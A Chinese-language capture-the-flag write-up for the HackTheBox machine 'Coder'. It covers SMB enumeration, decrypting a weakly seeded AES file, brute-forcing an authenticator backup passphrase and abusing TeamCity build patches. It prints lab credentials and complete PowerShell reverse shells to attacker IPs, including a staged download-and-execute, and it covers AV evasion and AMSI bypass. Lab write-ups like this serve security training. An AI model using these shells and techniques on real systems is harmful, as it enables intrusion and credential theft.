nmap扫描 先扫描所有开放端口
1 sudo nmap -sT --min-rate 10000 -p- 10.10.11.207 -oA nmapscan/ports
结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 PORT STATE SERVICE 53/tcp open domain 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 443/tcp open https 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 9389/tcp open adws 47001/tcp open winrm 49664/tcp open unknown 49665/tcp open unknown 49666/tcp open unknown 49667/tcp open unknown 49671/tcp open unknown 49685/tcp open unknown 49700/tcp open unknown
这里我又使用不加-sT
命令进行了一次扫描
-sT
扫描:
即TCP Connect扫描,nmap
会尝试与目标主机的每个指定端口建立完整的 TCP 三次握手连接,如果连接成功,端口被认为是开放的;如果连接失败,端口被认为是关闭的或被过滤的 ,这种扫描方式不需要特殊权限,但更容易被检测到
不加-sT
(默认 SYN 扫描,-sS
):
SYN扫描或半开放扫描,nmap
发送一个 SYN 包到目标端口,如果收到 SYN/ACK 响应,则认为端口是开放的,然后 nmap
会发送一个 RST 包来终止连接,而不完成三次握手。这种方式速度快且隐秘,但需要管理员权限。
结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 >PORT STATE SERVICE >53/tcp open domain >80/tcp open http >88/tcp open kerberos-sec >135/tcp open msrpc >139/tcp open netbios-ssn >389/tcp open ldap >443/tcp open https >445/tcp open microsoft-ds >464/tcp open kpasswd5 >593/tcp open http-rpc-epmap >636/tcp open ldapssl >3268/tcp open globalcatLDAP >3269/tcp open globalcatLDAPssl >5985/tcp open wsman >9389/tcp open adws >47001/tcp open winrm >49664/tcp open unknown >49665/tcp open unknown >49666/tcp open unknown >49667/tcp open unknown >49669/tcp open unknown >49670/tcp open unknown >49671/tcp open unknown >49677/tcp open unknown >49680/tcp open unknown >49685/tcp open unknown >49700/tcp open unknown >49711/tcp open unknown
可见这种扫描更加的全面
对所有开放端口进行更详细的扫描
1 sudo nmap -sT -sV -sC -O -p$ports 10.10.11.207 -oA nmapscan/detail
结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-title: IIS Windows Server 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-22 21:32:25Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.coder.htb, DNS:coder.htb, DNS:CODER | Not valid before: 2023-11-21T23:06:46 |_Not valid after: 2033-11-21T23:16:46 |_ssl-date : 2025-03-22T21:33:30+00:00; +7h30m22s from scanner time. 443/tcp open ssl/http Microsoft IIS httpd 10.0 | ssl-cert: Subject: commonName=default-ssl/organizationName=HTB/stateOrProvinceName=CA/countryName=US | Not valid before: 2022-11-04T17:25:43 |_Not valid after: 2032-11-01T17:25:43 |_http-title: IIS Windows Server | tls-alpn: |_ http/1.1 |_ssl-date : 2025-03-22T21:33:30+00:00; +7h30m22s from scanner time. |_http-server-header: Microsoft-IIS/10.0 | http-methods: |_ Potentially risky methods: TRACE 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap |_ssl-date : 2025-03-22T21:33:30+00:00; +7h30m22s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.coder.htb, DNS:coder.htb, DNS:CODER | Not valid before: 2023-11-21T23:06:46 |_Not valid after: 2033-11-21T23:16:46 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.coder.htb, DNS:coder.htb, DNS:CODER | Not valid before: 2023-11-21T23:06:46 |_Not valid after: 2033-11-21T23:16:46 |_ssl-date : 2025-03-22T21:33:32+00:00; +7h30m22s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name) |_ssl-date : 2025-03-22T21:33:30+00:00; +7h30m22s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.coder.htb, DNS:coder.htb, DNS:CODER | Not valid before: 2023-11-21T23:06:46 |_Not valid after: 2033-11-21T23:16:46 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC 49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49671/tcp open msrpc Microsoft Windows RPC 49677/tcp open msrpc Microsoft Windows RPC 49680/tcp open msrpc Microsoft Windows RPC 49685/tcp open msrpc Microsoft Windows RPC 49700/tcp open msrpc Microsoft Windows RPC 49711/tcp open msrpc Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Microsoft Windows Server 2019 (96%), Microsoft Windows Server 2016 (95%), Microsoft Windows 10 (93%), Microsoft Windows 10 1709 - 21H2 (93%), Microsoft Windows 10 21H1 (93%), Microsoft Windows Server 2022 (93%), Microsoft Windows 10 1903 (92%), Microsoft Windows Server 2012 (92%), Windows Server 2019 (92%), Microsoft Windows Longhorn (92%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date : 2025-03-22T21:33:24 |_ start_date: N/A |_clock-skew: mean: 7h30m21s, deviation: 0s, median: 7h30m21s | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done : 1 IP address (1 host up) scanned in 83.14 seconds
进行udp端口扫描
1 sudo nmap -sU --top-ports 40 10.10.11.207 -oA nmapscan/udp
结果如下
1 2 3 4 5 6 7 8 PORT STATE SERVICE 53/udp open domain 123/udp open ntp 137/udp open|filtered netbios-ns 138/udp open|filtered netbios-dgm 500/udp open|filtered isakmp 4500/udp open|filtered nat-t-ike 5353/udp open|filtered zeroconf
我们现在得到的信息有
SMB 445
DNS 53
HTTP 80
HTTPS 443
Kerberos 88
LDAP 389
RPC 135
WinRM 5985
容易得到这是一个域控
我们将上面得到的域名信息加入hosts文件中
1 echo "10.10.11.207 coder.htb dc01.coder.htb" | sudo tee -a /etc/hosts
smb枚举 1 nxc smb 10.10.11.207 --shares
我们从上面的枚举中看出,smb服务器启用了签名,同时启用了SMBv2协议,但是我们无法列出共享,接下来尝试使用匿名账户登录
1 nxc smb 10.10.11.207 -u chromos2me -p '' --shares
从上面可以看出匿名账户可以登录,同时我们有读Development
,IPC$
,Users
共享的权限
读取Development共享 我们直接指定不需要密码进行共享连接
1 smbclient -N //10.10.11.207/Development
我们发现存在两个共享文件夹
先查看Migrations
共享文件夹
adcs_reporting
:来自Github存储库PowerShell-AdminScripts的ActiveDirectoryCertificateServices/Get-ADCS_Report.ps1
bootstrap-template-master
:来自Github存储库bootstrap-responsive-web-application-template
Cachet-2.4
:来自存储库cachet
kimchi-master
:来自存储库kimchi
只有teamcity_test_repo
这个存储库看起来能被我们进行利用,我们将其保存到本地,需要递归下载整个文件夹需要开启下面的设置
1 2 3 mask "" recurse ON prompt OFF
mask ""
:用于设置上传文件的权限掩码,""
表示不应用任何权限掩码,通常会使用服务器默认的 create mask
或 directory mask
设置
recurse ON
:启用递归模式,即允许操作目录及其所有子目录中的文件,例如在 mget
(批量下载)或 mput
(批量上传)时,recurse ON
允许操作整个目录结构,而不仅仅是当前目录的文件
prompt OFF
:关闭交互式提示,避免 smbclient
在执行 mget
或 mput
这些命令时询问是否确认下载/上传每个文件
1 mget \Migrations\teamcity_test_repo
我们在.git文件夹下的config文件中发现一名用户信息Sonya Blade
及其邮箱s.blade@coder.htb
读取Temporary Projects共享文件夹
我们发现了一个加密器和加密后的文件,仍然下载下来
1 mget "Temporary Projects"
这里我们需要对Encrypter.exe
进行逆向,放到后面进行
读取User共享 ,没什么有用的东西
DNS区域传送漏洞 我们现在获取到了域名coder.htb
,我们向DNS服务器发起AXFR
DNS 区域传输请求,看一下返回的结果
1 dig @10.10.11.207 coder.htb axfr
Windows下可以利用下面的方法
1 2 3 4 >nslookup >server <dns-server> >set type =AXFR ><domain>
现在区域传输失败了,我们尝试对子域进行爆破
1 dnsenum --dnsserver 10.10.11.207 -f /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt coder.htb
对爆破出来的子域进行了手动测试,发现并没有什么有用的信息
80/443端口 80端口仅仅是一个IIS的欢迎界面,没有什么其他的信息
443端口仍是欢迎界面,这样的话就可以先不进行目录爆破了,我们先对拿到的可执行文件进行逆向
Encrypter.exe逆向 我们在dnspy中打开Encrypter.exe,发现如下图的程序主体逻辑
先分析Main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public static void Main (string [] args ){ bool flag = args.Length != 1 ; if (flag) { Console.WriteLine("You must provide the name of a file to encrypt." ); } else { FileInfo fileInfo = new FileInfo(args[0 ]); string destFile = Path.ChangeExtension(fileInfo.Name, ".enc" ); long value = DateTimeOffset.Now.ToUnixTimeSeconds(); Random random = new Random(Convert.ToInt32(value )); byte [] array = new byte [16 ]; random.NextBytes(array); byte [] array2 = new byte [32 ]; random.NextBytes(array2); byte [] array3 = AES.EncryptFile(fileInfo.Name, destFile, array2, array); } }
程序调用EncryptFile对文件进行AES加密,并给加密后的文件更改后缀为enc,但是这里的随机种子是value
,它是通过DateTimeOffset.Now.ToUnixTimeSeconds()
获取的,先获取当前的日期和时间并将其转换为 Unix 时间戳,那么这里的随机数就存在被我们预测的可能性。
接下来查看EncryptFile
这个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 private static byte [] EncryptFile (string sourceFile, string destFile, byte [] Key, byte [] IV ){ using (RijndaelManaged rijndaelManaged = new RijndaelManaged()) { using (FileStream fileStream = new FileStream(destFile, FileMode.Create)) { using (ICryptoTransform cryptoTransform = rijndaelManaged.CreateEncryptor(Key, IV)) { using (CryptoStream cryptoStream = new CryptoStream(fileStream, cryptoTransform, CryptoStreamMode.Write)) { using (FileStream fileStream2 = new FileStream(sourceFile, FileMode.Open)) { byte [] array = new byte [1024 ]; int count; while ((count = fileStream2.Read(array, 0 , array.Length)) != 0 ) { cryptoStream.Write(array, 0 , count); } } } } } } return null ; }
这个函数也就是实现文件加密的具体过程,其中传入的密钥和IV即我们上面所说的利用伪随机数生成的,如果我们能够知道文件创建的具体时间的话,我们就能恢复Unix时间戳然后预测随机数从而拿到密钥和IV,但是现在的问题是文件的创建时间是我们从共享中下载该文件的时间,要想保留真实的创建时间我们该怎么做呢?
我们应该将其挂载在我们的机器上,这里有多种挂载方式
1 sudo mount //10.10.11.207/Development /mnt
可以看到已经成功匿名挂载上去了
接下来利用stat
(命令用于显示文件或文件系统的详细信息,包括权限、大小、时间戳等 )查看
1 stat /mnt/Temporary\ Projects/s.blade.enc
结果如下
1 2 3 4 5 6 7 8 9 10 ──(chromosome㉿kali)-[~/HTB/Coder/Temporary Projects] └─$ stat /mnt/Temporary\ Projects/s.blade.enc 文件:/mnt/Temporary Projects/s.blade.enc 大小:3808 块:8 IO 块大小:1048576 普通文件 设备:0,54 Inode: 1125899907128474 硬链接:1 权限:(0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) 访问时间:2022-11-12 06:17:08.374350100 +0800 修改时间:2022-11-12 06:17:08.374350100 +0800 变更时间:2022-11-12 06:17:08.374350100 +0800 创建时间:2022-11-08 05:05:02.949637700 +0800
还有另一种方式
1 >sudo mount -t cifs \\\\dc01.coder.htb\\Development /mnt -o vers=3.0,username=guest,serverino,sec=ntlmsspi
-t cifs
:指定文件系统为cifs
,cifs
是Windows系统常用的一种网络文件共享协议
\\\\dc01.coder.htb\\Development
:指定共享,双反斜杠是为了转义反斜杠
/mnt
:挂载点
-o
:指定其他的挂载选项
vers=3.0
:设置CIFS
的版本
username=guest
:指定用户名
serverino
:该选项请求服务器生成并返回唯一的 inode 号码,这在某些特定的应用或场景中可能会有所帮助。
sec=ntlmsspi
:该选项指定用于身份验证的安全机制。”ntlmsspi” 指的是 NTLMSSP(NT LAN Manager Security Support Provider),这是一种 Windows 认证协议。
之后利用date
命令下的-r
选项显示文件的最后修改时间
完整命令为
1 >date -r /mnt/Temporary\ Projects/s.blade.enc "+%s"
接下来利用AI写一个解密脚本即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 using System;using System.IO;using System.Security.Cryptography;class Program { static void Main (string [] args ) { long value = 1668205028 ; Random random = new Random(Convert.ToInt32(value )); byte [] iv = new byte [16 ]; byte [] key = new byte [32 ]; random.NextBytes(iv); random.NextBytes(key); string encryptedFile = "C:\\Users\\lenovo\\Desktop\\s.blade.enc" ; string decryptedFile = "C:\\Users\\lenovo\\Desktop\\de" ; DecryptFile(encryptedFile, decryptedFile, key, iv); Console.WriteLine("文件解密完成!" ); } private static void DecryptFile (string encryptedFile, string decryptedFile, byte [] key, byte [] iv ) { using (RijndaelManaged aes = new RijndaelManaged()) { aes.Key = key; aes.IV = iv; aes.Mode = CipherMode.CBC; aes.Padding = PaddingMode.PKCS7; using (FileStream fsInput = new FileStream(encryptedFile, FileMode.Open)) using (FileStream fsOutput = new FileStream(decryptedFile, FileMode.Create)) using (ICryptoTransform decryptor = aes.CreateDecryptor()) using (CryptoStream cryptoStream = new CryptoStream(fsInput, decryptor, CryptoStreamMode.Read)) { byte [] buffer = new byte [1024 ]; int bytesRead; while ((bytesRead = cryptoStream.Read(buffer, 0 , buffer.Length)) > 0 ) { fsOutput.Write(buffer, 0 , bytesRead); } } } } }
然后我们将解密出来的文件放入010里面查看一下它是什么类型的文件
由上图可知很明显的7z文件头,然后我们给他添加7z后缀进行解压,压缩包中的文件如下所示
KDBX 文件是KeePass密码管理器使用的数据库文件格式。它用于存储用户的密码、账户信息以及其他敏感数据,并通过强加密算法保护这些信息。
我们可以利用kpcli
和keepassxc
解密我们的文件,建议使用keepassxc
图形化很方便
打开后我们利用.key
文件作为密钥
数据库中存在两组登录凭据和一组验证器备份码Authenticator backup codes ,在名为Teamcity 的登录凭据中揭示了一个新的子域https://teamcity-dev.coder.htb
详细的信息如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 Authenticator backup codes { "6132e897-44a2-4d14-92d2-12954724e83f": { "encrypted": true, "hash": "6132e897-44a2-4d14-92d2-12954724e83f", "index": 1, "type": "totp", "secret": "U2FsdGVkX1+3JfFoKh56OgrH5jH0LLtc+34jzMBzE+QbqOBTXqKvyEEPKUyu13N2", "issuer": "TeamCity", "account": "s.blade" }, "key": { "enc": "U2FsdGVkX19dvUpQDCRui5XaLDSbh9bP00/1iBSrKp7102OR2aRhHN0s4QHq/NmYwxadLeTN7Me1a3LrVJ+JkKd76lRCnd1utGp/Jv6w0hmcsqdhdccOpixnC3wAnqBp+5QyzPVaq24Z4L+Rx55HRUQVNLrkLgXpkULO20wYbQrJYN1D8nr3g/G0ukrmby+1", "hash": "$argon2id$v=19$m=16384,t=1,p=1$L/vKleu5gFis+GLZbROCPw$OzW14DA0kdgIjCbo6MPDYoh+NEHnNCNV" } } #看起来像一个域用户凭据 O365 s.blade@coder.htb AmcwNO60Zg3vca3o0HDrTC6D Teamcity s.blade veh5nUSZFFoqz9CrrhSeuwhA https://teamcity-dev.coder.htb
将子域加入hosts文件中
1 echo "10.10.11.207 teamcity-dev.coder.htb" | sudo tee -a /etc/hosts
s.blade账户没有winrm权限(可能不在Remote Management Users组中),但是有smb权限和ldap权限
对KDBX中的子域名进行信息收集 服务开放在443端口上,界面是JetBrains的Teamcity登录界面,我们尝试利用凭据s.blade:veh5nUSZFFoqz9CrrhSeuwhA
进行登录
TeamCity是由JetBrains开发的 持续集成(CI)和持续部署(CD) 工具。它用于自动化软件构建、测试和发布流程,帮助开发团队提高效率和代码质量。
验证器备份码 但是这里触发了Two-Factor Authentication即2FA
2FA即二要素认证是一种增强型身份验证机制 ,要求用户提供两种不同的认证因素 以验证其身份,比单一密码认证更加安全,即使密码泄露,攻击者仍然需要第二个因素才能完成身份验证
二要素认证的 两个因素必须来自不同的类别 ,常见的组合有:
密码 + 短信验证码
密码 + TOTP 动态验证码
密码 + 硬件安全密钥
密码 + 指纹识别
我们在上面所发现的Authenticator backup codes采用的就是TOTP(Time-Based One-Time Password)是基于时间的动态验证码
还有一种身份验证机制叫做MFA(Multi-Factor Authentication)
我们keepassxc
中的Authenticator backup codes
很明显是被加密过的,在登录页面需要输入来自authenticator app
获取到的6位数字码或恢复后的密码,这里在谷歌 和火狐中均存在一个名叫Authenticator
的2FA拓展 ,我们可以通过它获取6位数字密码或者恢复后的密码
我们可以先测试一下这个拓展程序,这里我们添加一个新的账户,这里的密码是16位字母
他会生成6位验证码
我们尝试下载一下备份文件并和我们在keepassxc中得到的进行对比
下面是备份文件的格式及内容,但是这是没有进行加密的文件,我们给备份文件设置密码看看会出现什么样子的变化
1 otpauth://totp/test:?secret=aaaaaaaaaaaaaaaa&issuer=test
在设置的安全中添加密码
我们重新返回备份中可以看到多出了一个下载加密备份的选项,我们下载下来看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 { "c85c3817-c6e5-4dfe-a07e-5ef25ddf919f" : { "dataType" : "EncOTPStorage" , "data" : "U2FsdGVkX18fvjz8FHUB0fN9sywDmlY/zfySf9ZCz8c6gC5n9BxWSKFpt4DLrHUepUT9yPMFNALZCnupgR1D/BGFxXHUvIRW8OMb6DPtupMkYZ6XSrP/oaiZVjKdt5lOGJSqv9VAB4FNxWfj7WN1YsOgcNqo6Q2eTXhRRB/aKaNSXTjEb3p7SfoXUryj/O/9Dff0AEUsSszgGoSSFbRgwUnccT1E3N0r6N94tqqAeAC4xKYZHrpUy/wK6RNy8GCyCfFSGdtrVKtrzgRuVIiFVCcGt6pKZQox9HKTReP+V6c=" , "keyId" : "2083bee2-fe4d-494d-949e-364ed5349b64" , "index" : 1 } , "2083bee2-fe4d-494d-949e-364ed5349b64" : { "dataType" : "Key" , "hash" : "$argon2id$v=19$m=19456,t=2,p=1$MzEyNDNlNzNmZjMwOWQyYjNkNzcyZWEzNDQ5ZTY1MDg$X1YxjXK1RlMy3hnRqD4a6tKAF/6pnxAFvaQ85uYlBGk" , "id" : "2083bee2-fe4d-494d-949e-364ed5349b64" , "salt" : "452012591ffc24bb2a23aee74e618e" , "version" : 3 } }
可见返回的加密备份文件和我们之前获得的存在大量相似之处
我们可以选择导入备份文件并输入加密备份文件的密码获取当前的6位TOTP验证码值,那么现在的目标就是获取加密密码
分析加解密逻辑 因为这个项目开源,我们在Github上找到源码 (这里选择dev分支)分析加密逻辑,首先定位src/definitions/otp.d.ts
这个存在很多接口的地方,有如下代码
1 2 3 4 5 6 7 8 9 interface EncryptionInterface { getEncryptedString (data : string): string; decryptSecretString (entry : string): string | null ; decryptEncSecret (entry : OTPEntryInterface ): RawOTPStorage | null ; getEncryptionStatus (): boolean; updateEncryptionPassword (password : string): void ; getEncryptionKeyId (): string; setEncryptionKeyId (id : string): void ; }
我们跟进getEncryptedString
这个接口看一下具体实现
1 2 3 4 5 6 7 getEncryptedString (data : string): string { if (!this .password ) { return data; } else { return CryptoJS .AES .encrypt (data, this .password ).toString (); } }
加密过程利用了CryptoJS.AES
这个库,对提供的数据和密码进行加密
接下来看一下解密备份数据函数,函数存在于src/import.ts
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 export async function decryptBackupData ( backupData: { [hash: string]: OTPStorage | Key }, passphrase: string | null ) { const decryptedBackupData : { [hash : string]: RawOTPStorage } = {}; const keys : Map <string, string | null > = new Map (); for (const hash in backupData) { const unknownStorageItem = backupData[hash]; if ( typeof unknownStorageItem !== "object" || unknownStorageItem.dataType === "Key" ) { continue ; } let storageItem : RawOTPStorage ; if (unknownStorageItem.dataType === "EncOTPStorage" ) { if (!passphrase) { continue ; } if (!keys.has (unknownStorageItem.keyId )) { keys.set ( unknownStorageItem.keyId , await findAndUnlockKey ( backupData, unknownStorageItem.keyId , passphrase ) ); } const decryptKey = keys.get (unknownStorageItem.keyId ); if (!decryptKey) { continue ; } storageItem = { ...unknownStorageItem, ...JSON .parse ( CryptoJS .AES .decrypt (unknownStorageItem.data , decryptKey).toString ( CryptoJS .enc .Utf8 ) ), encrypted : false , }; } else { storageItem = unknownStorageItem; } if (!storageItem.secret ) { continue ; } if (storageItem.encrypted && !passphrase) { continue ; } if (storageItem.encrypted && passphrase) { try { storageItem.secret = CryptoJS .AES .decrypt ( storageItem.secret , passphrase ).toString (CryptoJS .enc .Utf8 ); storageItem.encrypted = false ; } catch (error) { continue ; } } if (!storageItem.secret ) { continue ; } decryptedBackupData[hash] = storageItem; } return decryptedBackupData; }
这段代码是用来解密备份数据backupData
的,传入的数据项由hash
字段唯一标识,因为这是OTP密码,所以还要传入配套的passphrase
密钥,decryptBackupData
函数通过提供的 passphrase
解密这些数据,并返回解密后的结果
我们继续寻找调用decryptBackupData
的地方,位于TextImport.vue
1 2 3 4 5 6 7 8 if (key && passphrase) { decryptedbackupData = await decryptBackupData ( exportData, CryptoJS .AES .decrypt (key.enc , passphrase).toString () ); } else { decryptedbackupData = await decryptBackupData (exportData, passphrase); }
我们可以看到key.enc
文件实际上也被加密了,也利用了一个passphrase
,同时真正去解密我们的Authenticator backup codes
的passphrase
其实是解密后的key.enc
文件,这里还存在一个比较绕的逻辑,利用解密后的key.enc
第一次解密出的是totp对象的 secret
,然后我们继续利用解密后的 secret
进一步解密剩余的totp数据,然后完成整个解密过程。
这里给出一个例子来理解这个解密过程
1 2 3 4 5 6 7 8 9 10 11 { "hash1" : { "dataType" : "EncOTPStorage" , "keyId" : "key1" , "data" : "U2FsdGVkX1+...(加密后的数据)" } , "key1" : { "dataType" : "Key" , "encryptedKey" : "U2FsdGVkX1+...(加密后的密钥)" } }
这里我直接给出key.enc
解密后的值为mypassword
首先先遍历这个json格式数据,遍历到hash1
,发现是EncOTPStorage
(即这是一个加密后的数据)
然后在整个json数据中遍历寻找"keyId": "key1"
,利用mypassword
去解密key1
中的"encryptedKey"
,得到我们的密钥,假设为myDecryptKey
然后利用myDecryptKey
解密"data"
字段的值
我们现在需要做的就是尝试爆破解密后的key.enc
,这里我们可以尝试rockyou字典,这里借用0xdf的脚本 ,因为太菜了不会写nodejs
我们需要先安装crypto-js
然后保存下面的代码为brute.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 const fs = require ('fs' )const readline = require ('readline' )const CryptoJS = require ('crypto-js' )const secret = "U2FsdGVkX1+3JfFoKh56OgrH5jH0LLtc+34jzMBzE+QbqOBTXqKvyEEPKUyu13N2" ;const enc = "U2FsdGVkX19dvUpQDCRui5XaLDSbh9bP00/1iBSrKp7102OR2aRhHN0s4QHq/NmYwxadLeTN7Me1a3LrVJ+JkKd76lRCnd1utGp/Jv6w0hmcsqdhdccOpixnC3wAnqBp+5QyzPVaq24Z4L+Rx55HRUQVNLrkLgXpkULO20wYbQrJYN1D8nr3g/G0ukrmby+1" ;const rl = readline.createInterface ({ input : fs.createReadStream (process.argv [2 ]) }); rl.on ('line' , (line ) => { var key = CryptoJS .AES .decrypt (enc, line).toString (); var result = CryptoJS .AES .decrypt (secret, key).toString (); var seed = Buffer .from (result, 'hex' ).toString (); if (seed.length > 10 && /^[\x00-\x7F]*$/ .test (seed)) { console .log (`line: ${line} \nkey: ${key} \nresult: ${result} \nseed: ${seed} ` ); rl.close (); process.exit (); } })
运行代码
1 node brute.js rockyou.txt
1 2 3 4 line: skyblade key: 3a3c2614b17654f9f15dce9dd282955e4f82e32dd0397fbb5b6730354a3dc6a7465091e1bea6fd465aa83743fbd9e630c9dff2c461da26737dc693d0d88623129b7c1a9342d0c88b406d7d542d4414ee4f13ee3e127d9ed0a124773d66e8af460d4347e3551dace0299452b898cc01396c6c4cc8ab967cad result: 504d32434736524f3733515437345753 seed: PM2CG6RO73QT74WS
那么这里的skyblade
就是我们的加密备份文件的密码,我们利用上面提到的导入方式导入我们获得的验证器备份码文件
导入备份码登入TeamCity 如下图所示
然后利用生成的验证码登录
但是这里因为和靶机时间不同步的原因,导致我们的验证码无法正常使用,我们可以利用ntpdate进行时间同步,这里我选择使用faketime
先用ntpdate查看与域控相差的时间
1 2025-04-03 02:49:46.305998 (+0800) +19049.425767 +/- 0.123109 dc01.coder.htb 10.10.11.207 s1 no-leap
然后用faketime打开chrome
1 faketime "19049 seconds" google-chrome
这里还有一种获取2FA验证码的方式,利用解密出来下面json的明文
1 2 >"secret" : "U2FsdGVkX1+3JfFoKh56OgrH5jH0LLtc+34jzMBzE+QbqOBTXqKvyEEPKUyu13N2" , >"issuer" : "TeamCity" ,
这里的secret
就是我们上面解出来的seed的值PM2CG6RO73QT74WS
,如下图所示两者是一样的
获取立足点 我们在TeamCity的界面中发现一个Development_Testing的项目,我们在项目的参数中发现他构建的东西是我们之前在smb共享中下载的teamcity_test_repo
这个存储库
接下来我们看一下我们在TeamCity中的职位为Project developer
点击permissions查看详细权限
我们在图中发现了一个我们可以进行利用的权限:使用自定义补丁更改构建源代码
这意味着我们可以利用之前从SMB复制的Git仓库,将载荷合并到其中,提交差异文件作为补丁,并将其作为自定义任务运行。
我们现在利用一个简单的网络请求载荷验证我们的猜想
1 echo 'iwr http://10.10.14.40' > hello_world.ps1
之后获取编辑后的新脚本和原始脚本之间的差异,并将其保存到一个文件中
然后我们启动一个web服务器处理请求
1 python3 -m http.server 80
提交并运行我们的自定义构建
注意这里选择run as a personal build 并上传我们的diff文件,之后Run Build
可以看到和我们预想的一致,我们收到了来自CI/CD的请求
我们尝试生成一个powershell反弹shell
1 powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.22',4444);$stream = $client .GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream .Read($bytes , 0, $bytes .Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes ,0, $i );$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2 );$stream .Write($sendbyte ,0,$sendbyte .Length);$stream .Flush()};$client .Close()"
在我们的CI/CD界面显示我们上传的文件存在病毒,因此我们要尝试利用其他的反弹shell规避防病毒软件
这里还是用一下之前能过杀软上线的反弹shell powershell-reverse-shell.ps1 ,这里建议分阶段执行
1 iwr http://10.10.14.40/shell.ps1 -outfile C:\windows\temp\shell.ps1; C:\windows\temp\shell.ps1
shell.ps1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 do { Start-Sleep -Seconds 1 try { $TCPClient = New-Object Net.Sockets.TCPClient('10.10.14.22' , 4444 ) } catch {} } until ($TCPClient .Connected) $NetworkStream = $TCPClient .GetStream()$StreamWriter = New-Object IO.StreamWriter($NetworkStream )function WriteToStream ($String ) { [byte []]$script:Buffer = 0 ..$TCPClient .ReceiveBufferSize | % {0 } $StreamWriter .Write($String + 'SHELL> ' ) $StreamWriter .Flush() } WriteToStream '' while (($BytesRead = $NetworkStream .Read($Buffer , 0 , $Buffer .Length)) -gt 0 ) { $Command = ([text.encoding ]::UTF8).GetString($Buffer , 0 , $BytesRead - 1 ) $Output = try { Invoke-Expression $Command 2 >&1 | Out-String } catch { $_ | Out-String } WriteToStream ($Output ) } $StreamWriter .Close()
下面的红框中的Running一直在转就说明我们的shell已经正常执行了
如下图所示,这就是我们的目标机器
但是这个脚本不是很稳定,几分钟后就会掉,因为TeamCity在构建的时候如果长时间不能完成构建就会导致构建超时,我们在尝试其他的诸如混淆之类的规避方法时,可能存在构建失败的情况,这时我们可以通过Build Log
查看原因
我们还可以利用Github 上的工具关闭一下AMSI,操作和我们之前一样
现在在关闭AMSI之后我们可以上传我们的未经混淆处理的一些powershell反弹shell,注意这里如果直接在hello_world中写反弹shell的脚本的话仍然不能成功,因为我们关闭的是Windows上的反病毒扫描接口,其实脚本在后边测试的时候并没有关闭AMSI ,
